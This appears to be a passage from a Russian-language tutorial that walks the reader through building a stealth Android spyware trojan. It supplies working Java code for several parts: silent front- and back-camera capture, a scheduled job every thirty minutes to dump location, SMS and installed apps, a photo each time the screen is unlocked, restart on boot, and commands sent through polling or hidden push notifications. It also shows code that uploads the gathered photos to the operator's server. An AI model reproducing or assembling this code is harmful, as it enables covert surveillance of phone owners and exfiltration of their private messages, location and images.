Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
public class SilentCamera2 {
private Context context;
private CameraDevice device;
private ImageReader imageReader;
private CameraCaptureSession session;
private SurfaceTexture surfaceTexture;
private CameraCharacteristics characteristics;
private Surface previewSurface;
private CaptureRequest.Builder request;
private Handler handler;
private String photosDir;
public SilentCamera2(Context context) {
this.context = context;
}
private final CameraDevice.StateCallback mStateCallback =
new CameraDevice.StateCallback() {
@Override
public void onOpened(CameraDevice cameraDevice) {
device = cameraDevice;
try {
surfaceTexture = new SurfaceTexture(10);
previewSurface = new Surface(surfaceTexture);
List<Surface> surfaceList = new ArrayList<>();
surfaceList.add(previewSurface);
surfaceList.add(imageReader.getSurface());
cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onDisconnected(CameraDevice cameraDevice) {
}
@Override
public void onError(CameraDevice cameraDevice, int error) {
}
};
private CameraCaptureSession.StateCallback mCaptureStateCallback =
new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured(CameraCaptureSession captureSession) {
session = captureSession;
try {
request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
request.addTarget(previewSurface);
request.set(CaptureRequest.CONTROL_AF_TRIGGER,
CameraMetadata.CONTROL_AF_TRIGGER_START);
captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}
};
private CameraCaptureSession.CaptureCallback mCaptureCallback =
new CameraCaptureSession.CaptureCallback() {
@Override
public void onCaptureCompleted(CameraCaptureSession session,
CaptureRequest request,
TotalCaptureResult result) {
}
};
private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
new ImageReader.OnImageAvailableListener() {
@Override
public void onImageAvailable(ImageReader reader) {
DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss");
Date date = new Date();
String filename = photosDir + "/" + dateFormat.format(date) + ".jpg";
File file = new File(filename);
Image image = imageReader.acquireLatestImage();
try {
ByteBuffer buffer = image.getPlanes()[0].getBuffer();
byte[] bytes = new byte[buffer.remaining()];
buffer.get(bytes);
OutputStream os = new FileOutputStream(file);
os.write(bytes);
image.close();
os.close();
} catch (Exception e) {
e.getStackTrace();
}
closeCamera();
}
};
private void takePicture() {
request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());
request.addTarget(imageReader.getSurface());
try {
session.capture(request.build(), mCaptureCallback, handler);
} catch (CameraAccessException e) {
}
}
private void closeCamera() {
try {
if (null != session) {
session.abortCaptures();
session.close();
session = null;
}
if (null != device) {
device.close();
device = null;
}
if (null != imageReader) {
imageReader.close();
imageReader = null;
}
if (null != surfaceTexture) {
surfaceTexture.release();
}
} catch (Exception e) {
}
}
public boolean takeSilentPhoto(String cam, String dir) {
photosDir = dir;
int facing;
switch (cam) {
case "front":
facing = CameraCharacteristics.LENS_FACING_FRONT;
break;
case "back":
facing = CameraCharacteristics.LENS_FACING_BACK;
break;
default:
return false;
}
CameraManager manager = (CameraManager)
context.getSystemService(Context.CAMERA_SERVICE);
String cameraId = null;
characteristics = null;
try {
for (String id : manager.getCameraIdList()) {
characteristics = manager.getCameraCharacteristics(id);
Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);
if (currentFacing != null && currentFacing == facing) {
cameraId = id;
break;
}
}
} catch (Exception e) {
return false;
}
HandlerThread handlerThread = new HandlerThread("CameraBackground");
handlerThread.start();
handler = new Handler(handlerThread.getLooper());
imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);
imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);
try {
manager.openCamera(cameraId, mStateCallback, handler);
// Ждем фокусировку
Thread.sleep(1000);
takePicture();
} catch (Exception e) {
Log.d(TAG, "Can't open camera: " + e.toString());
return false;
}
return true;
}
private int getOrientation() {
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
int rotation = wm.getDefaultDisplay().getRotation();
int deviceOrientation = 0;
switch(rotation){
case Surface.ROTATION_0:
deviceOrientation = 0;
break;
case Surface.ROTATION_90:
deviceOrientation = 90;
break;
case Surface.ROTATION_180:
deviceOrientation = 180;
break;
case Surface.ROTATION_270:
deviceOrientation = 270;
break;
}
int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);
deviceOrientation = (deviceOrientation + 45) / 90 * 90;
boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
if (facingFront) deviceOrientation = -deviceOrientation;
return (sensorOrientation + deviceOrientation + 360) % 360;
}
}
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.
Код:
String cameraDir = context.getApplicationInfo().dataDir + "/camera/"
camera.takeSilentPhoto("front", cameraDir);
Складываем все вместе
С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.
Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.
Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.
Задания по расписанию
Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:
Код:
public class Alarm extends BroadcastReceiver {
public static void set(Context context) {
AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(context, Alarm.class);
PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);
am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);
}
@Override
public void onReceive(Context context, Intent intent) {
// Твой код здесь
}
}
Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.
В метод «onCreate()» сервиса добавьте следующую строку:
Код:
1
Alarm.set(this)
Снимок при включении экрана
Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:
Код:
class ScreenOnReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
// Ваш код здесь
}
}
И добавьте в манифест следующие строки:
Код:
<receiver android:name="com.example.app.ScreenOnReceiver">
<intent-filter>
<action android:name="android.intent.action.ACTION_SCREEN_ON" />
</intent-filter>
</receiver>
Запуск при загрузке
В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:
Код:
class BootReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
Intent serviceIntent = new Intent(this, MainService.class);
startService(serviceIntent);
}
}
И опять же добавим его в манифест:
Код:
<receiver android:name="com.example.BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
Запись аудио по команде
С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.
В коде это может выглядеть примерно так:
Код:
String url = "
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
"OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
while (true) {
Response response = client.newCall(request).execute();
String cmd = response.body().string();
cmd = cmd.trim()
if (cmd.equals("record")) {
// Делаем аудиозапись
}
try {
Thread.sleep(60 * 1000);
} catch (InterruptedException e) {}
}
Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.
Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.
Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:
Код:
class App extends Application {
@Override
public void onCreate() {
super.onCreate()
OneSignal.startInit(this).init()
}
}
Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:
Код:
class OSService extends NotificationExtenderService {
@Override
protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {
String cmd = receivedResult.payload.body.trim()
if (cmd.equals("record")) {
// Делаем аудиозапись
}
// Не показывать уведомление
return true
}
}
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.
Последний штрих — добавим сервис в манифест:
Код:
<service
android:name="org.antrack.app.service.OSService"
android:exported="false">
<intent-filter>
<action android:name="com.onesignal.NotificationExtender" />
</intent-filter>
</service>
Отправка данных на сервер
На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:
Код:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse("image/jpeg");
public void uploadImage(File image, String imageName) throws IOException {
OkHttpClient client = new OkHttpClient();
RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)
.addFormDataPart("file", imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))
.build();
Request request = new Request.Builder().url("
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
").post(requestBody).build();
Response response = client.newCall(request).execute();
}
Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.
Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.
Выводы
Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.
Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление.
На этом все. Теперь вы знаете как хакеры создают трояны для Андроид.